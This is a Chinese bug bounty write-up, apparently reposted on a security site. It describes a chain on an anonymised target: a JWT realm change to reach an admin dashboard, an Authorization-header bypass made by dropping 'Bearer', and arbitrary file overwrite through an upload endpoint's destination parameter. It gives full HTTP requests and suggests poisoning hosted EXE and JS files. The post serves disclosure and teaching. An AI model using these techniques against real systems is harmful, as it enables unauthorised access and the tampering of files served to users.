身份验证绕过 & 文件上传 & 任意文件覆盖

admin 2022年10月30日19:40:21评论140 views字数 4639阅读15分27秒阅读模式

我如何找到身份验证绕过>>文件上传漏洞>>任意文件覆盖以及我如何管理我在上传后找到了文件的路径!

今天我要分享一个我不久前发现的漏洞流程,我认为这很有趣,一共获得了 2.3万美元。

但我不会分享域名等信息,因为我没获得公开它的授权。

所以让我们假设目标是test.com

当我开始测试,我发现管理面板 UI 绕过问题

目标使用JSON Web Token (JWT)进行身份验证机制,我花了一点时间来了解和分析,并搭建使用 JSON Web Token (JWT) 试图发现绕过手段。

当登录主网站test.com时,将为普通用户生成一个JSON Web Token (JWT) ,

读取 javascript 文件,运行 Burp Suite,然后单击在网站的任何按钮&我使用 Wayback Machine 获取所有可能的端点,最后是子域枚举。

我找到了有趣的子域admin.test.com,现在我们来到了有趣的部分,管理面板公开了 js 文件 app.js,在我阅读了整个文件 200000 行代码后,我发现它使用了JSON Web Token (JWT) 进行身份验证,我找到了一个Realm List 。

但有趣的Realm 是目标站点的仪表板界面

什么是Realm 

“Realm”指身份验证参数的保留供给希望指定保护范围的身份验证方案使用。保护空间范围由根 URI规范(有效请求 URI 的方案和权限组件)

更多详细信息在这里:https ://www.rfc-editor.org/rfc/rfc7235#section-2.2

我使用用https://jwt.io/解码test.com用户Token,这里realm=test-user

现在我知道如果我能够将realm操纵到测试仪表板,有可能我将能够登录到管理面板。

### 步骤 :

  1. 去 https://test.com/

  2. 访问

  3. 登录我的帐户并在post请求https://test.com.com/api/v1/login中更改realm为:test-dashboard

HTTP requests

POST /api/v1/login HTTP/1.1Host: accounts.test.comConnection: closeContent-Length: 79Accept: */*Content-Type: application/json{“email”:”[email protected]”,”password”:”<password>”,”realm”:”test-dashboard”}

身份验证绕过 & 文件上传 & 任意文件覆盖

如果你解码jwt,你可以看到realm已经变了

身份验证绕过 & 文件上传 & 任意文件覆盖

现在使用更改后的 JWT 令牌,我可以登录到管理面板。

我立即报告了这个错误,这是回应:

我们与开发人员讨论了这一点,他们表示,你可以访问的管理仪表板只是一个在客户端呈现的反应应用程序(这种页面只会呈现公共信息),而其他内容并不多,因为实际的API是一个独立的应用程序,其端点需要具有特定范围的有效身份验证令牌。因此,除非您能够创建一个令牌,让你与API交互,否则我们将降低问题的严重性。

测试人员将严重性从严重更新为中危


身份验证绕过 & 文件上传 & 任意文件覆盖

我几乎放弃了,但我决定继续深入挖掘。

同意厂商的意见,为了考虑到漏洞的严重性,我需要缩小JSON Web令牌(JWT)中的范围。

但这是不可能的,我需要找到 0day 或 JWT 机制,任何使用JSON Web Token (JWT) 的网站都会受到攻击。

但我已经够疯狂了,因为我开始寻找类似的东西。

因为我可以控制realm并生成有效的 JWT,所以我尝试了每个有效负载来操纵范围,但没有任何东西对我有用,也无法进行我想要的转义。

我开始使用ffuf工具对 admin.test.com 进行内容发现,但不幸的是,我没有找到任何有价值的点,

默认情况下ffuf使用 GET HTTP 方法,所以我尝试了 POST 方法。我发现这个端点https://admin.test.com/upload返回 403,这很有趣,我是在 app.js 文件中找到了这个端点。

现在,如果能够上传 webshell  就一步到位了

在我花了几个小时阅读 javascript 文件后,我构建文件上传请求:

POST /upload HTTP/1.1Host: admin.test.comConnection: closeContent-Length: 300Accept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxxAuthorization: Bearer <JWT>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36------WebKitFormBoundarypxxxxxxContent-Disposition: form-data; name="destination"gallery/------WebKitFormBoundarypxxxxxxContent-Disposition: form-data; name="file"; filename="poc.txt"Content-Type: Text/plainh4x0r-dz POC ------WebKitFormBoundarypxxxxxx--

但我收到了 401 HTTP 错误  。即使在我在 JWT 中操作realm之后

验证绕过

我尝试测试post包头部的:

Authorization: Bearer <JWT>

最后,我看到了 200 

步骤:

  1. 访问 test.com

  2. 登录到我的帐户 。

  3. 模糊测试authorization部分

绕过方式是改为Authorization: <JWT>,删掉bearer,你将能访问https://admin.test.com并且将能够拥有管理员权限

发送此请求以上传文件

POST /upload HTTP/1.1Host: admin.test.comConnection: closeContent-Length: 300Accept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxxAuthorization: <JWT>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36------WebKitFormBoundarypxxxxxxContent-Disposition: form-data; name="destination"gallery/------WebKitFormBoundarypxxxxxxContent-Disposition: form-data; name="file"; filename="poc.txt"Content-Type: Text/plainh4x0r-dz POC ------WebKitFormBoundarypxxxxxx--

我上传后得到了200的回包


身份验证绕过 & 文件上传 & 任意文件覆盖

现在我在哪里可以找到我的文件的路径??

起初,我以为到此为止,没有办法知道我的文件存储在哪里。

我尝试使用 ffuf 对所有子域进行内容发现,试图找到类似 admin.test.com/uploads/poc.txt 的内容

但我什么也没找到,我开始查看我的抓包历史并查看回包,我发现了这个 href=https://xxxxxxxx.cloudfront.net/gallery/xxxxxxxx

嗯,galllery是我在文件上传请求的destination的值,见上图。

我浏览了 https://XXXXXXXXX.cloudfront.net/gallery/poc.txt

我发现我的文件在那里


身份验证绕过 & 文件上传 & 任意文件覆盖

但是放在CloudFront上

Amazon CloudFront 是由 Amazon Web Services 运营的内容交付网络。内容交付网络提供了一个全球分布的代理服务器网络,这些代理服务器将内容(例如网络视频或其他庞大的媒体)缓存到消费者的本地,从而提高了下载内容的访问速度。

所以我不能绕过上传 webshell ,所以我现在报告这个文件上传漏洞,严重性也会很低。我需要继续深入挖掘。

任意文件覆盖

默认情况下,如果您上传 file.txt 到Amazon S3 , Amazon S3容易受到错误配置任意文件覆盖的漏洞影响。

现在我有任意文件覆盖漏洞,可以做很多事情,我发现在主网站中使用xxxxxxxx.cloudfront.net来托管 javascript 和 HTML 和其他文件


身份验证绕过 & 文件上传 & 任意文件覆盖

这么多文件托管在xxxxxxxx.cloudfront.net中,作为攻击者,我可以更改文件的内容并设法在主域中获取存储的 XSS 和其他安全问题,因为他们使用 xxxxxxxx.cloudfront.net 来托管windows软件和pdf,用户可以下载,它是主网站功能的一部分,

所以我可以通过将恶意代码放入现有的 EXE 或 pdf 文件 CSS ...等来更改这些文件的内容并在用户的计算机上获得 RCE

步骤

攻击者可以更改其他文件的内容。destination请求正文中的参数指定文件路径,这样我可以更改任何文件

一个 POC 文件:


身份验证绕过 & 文件上传 & 任意文件覆盖

由于缓存,我们无法从浏览器验证漏洞,因此您可以 CURL,现在,在我通过这个 requset 更改了文件 poc.txt 的内容之后:


POST /upload HTTP/1.1Host: admin.test.comConnection: closeContent-Length: 300Accept: application/json, text/plain, */*Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypxxxxxxAuthorization: <JWT>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4629.0 Safari/537.36------WebKitFormBoundarypxxxxxxContent-Disposition: form-data; name="destination"gallery/------WebKitFormBoundarypxxxxxxContent-Disposition: form-data; name="file"; filename="poc.txt"Content-Type: Text/plainArbitrary File Overwrite ------WebKitFormBoundarypxxxxxx--

结果如下,文件覆盖成功:

身份验证绕过 & 文件上传 & 任意文件覆盖

厂商回应:


身份验证绕过 & 文件上传 & 任意文件覆盖

我为这个漏洞获得了 20k。另外,我获得了 3,000 美元的 UI 管理面板访问权限,总共 23000 美元


身份验证绕过 & 文件上传 & 任意文件覆盖


原文始发于微信公众号(军机故阁):身份验证绕过 & 文件上传 & 任意文件覆盖

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月30日19:40:21
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   身份验证绕过 & 文件上传 & 任意文件覆盖https://cn-sec.com/archives/1380731.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息